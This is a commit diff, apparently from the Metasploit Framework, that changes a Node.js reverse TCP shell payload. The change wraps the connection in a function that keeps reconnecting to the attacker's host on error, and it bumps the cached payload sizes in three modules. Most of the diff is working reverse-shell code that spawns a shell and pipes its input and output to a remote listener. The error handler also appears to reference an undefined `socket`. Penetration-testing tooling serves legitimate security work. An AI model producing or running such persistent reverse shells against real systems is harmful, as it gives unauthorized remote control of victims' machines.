Skip to content

Commit 374c139

Browse files
committed
Increasing the functionality of the nodejs shell_reverse_tcp payload
1 parent 763720c commit 374c139

File tree

4 files changed

+19
-13
lines changed

4 files changed

+19
-13
lines changed

lib/msf/core/payload/nodejs.rb

Lines changed: 16 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -56,16 +56,22 @@ def nodejs_reverse_tcp(opts={})
5656
util = require("util"),
5757
sh = cp.spawn(cmd, []);
5858
var client = this;
59-
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
60-
client.socket.pipe(sh.stdin);
61-
if (typeof util.pump === "undefined") {
62-
sh.stdout.pipe(client.socket);
63-
sh.stderr.pipe(client.socket);
64-
} else {
65-
util.pump(sh.stdout, client.socket);
66-
util.pump(sh.stderr, client.socket);
67-
}
68-
});
59+
function StagerRepeat(){
60+
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
61+
client.socket.pipe(sh.stdin);
62+
if (typeof util.pump === "undefined") {
63+
sh.stdout.pipe(client.socket);
64+
sh.stderr.pipe(client.socket);
65+
} else {
66+
util.pump(sh.stdout, client.socket);
67+
util.pump(sh.stderr, client.socket);
68+
}
69+
});
70+
socket.on("error", function(error) {
71+
StagerRepeat();
72+
});
73+
}
74+
StagerRepeat();
6975
})();
7076
EOS
7177
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')

modules/payloads/singles/cmd/unix/reverse_nodejs.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 2423
13+
CachedSize = 2823
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 601
16+
CachedSize = 701
1717

1818
include Msf::Payload::Single
1919
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 629
13+
CachedSize = 729
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

0 commit comments

Comments
 (0)